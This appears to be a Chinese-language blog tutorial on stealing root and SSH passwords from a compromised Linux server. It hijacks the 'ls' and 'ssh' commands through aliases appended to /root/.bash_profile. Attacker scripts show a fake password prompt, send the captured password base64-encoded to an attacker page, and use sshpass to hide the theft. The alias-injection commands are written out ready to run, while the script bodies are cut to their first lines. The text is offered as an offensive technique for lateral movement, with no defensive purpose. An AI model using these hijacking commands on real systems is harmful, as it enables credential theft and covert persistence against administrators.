探索基于linux别名特性窃取密码
当通过web途径获取到linux机器时,往往想获取到root明文密码进行横向扩展,但是拿到shadow又无法解密,此时可以通过设置别名进行窃取管理员密码。
劫持系统ls命令:
首先设置变量别名到环境变量下并赋值文件权限
1 | echo "alias ls=/var/tmp/update.py">> /root/.bash_profile |
此处务必注意,在修改目标的任何配置文件之前,先备份下,不然出问题就尴尬了
1 | cp /root/.bash_profile /var/tmp/.bash_profile |
update.py具体代码如下:
1 | #! /usr/bin/env python2.7 |
等待管理员连接服务器后并执行ls时,就会弹出报错,要求输入密码而后将输入进的内容进行base64编码,通过拼接回传到攻击者页面,执行正常的命令并将环境变量恢复原样。
劫持系统ssh命令:
当管理员执行ssh user@rhost时,首先执行攻击者设置好的别名文件,负责将输入的内容进行回传或保存本地,由于ssh不能通过管道符进行传参,则使用sshpass传参给正常的ssh连接。
1 | echo "alias ssh=/var/tmp/ssh">> /root/.bash_profile |
shell脚本具体代码如下:
1 | #!/bin/bash |
sshpass是用于非交互的ssh 密码验证
从命令行方式传递密码:
1 | sshpass -p user_password ssh user_name@rhost |
下载地址:
1 | http://sourceforge.net/projects/sshpass/files/latest/download |
下载后,解压,安装
1 | tar -zxvf sshpass-1.06.tar.gz |
最后,到指定的目录下,即可看到窃取到的远程服务器账号以及密码,如下: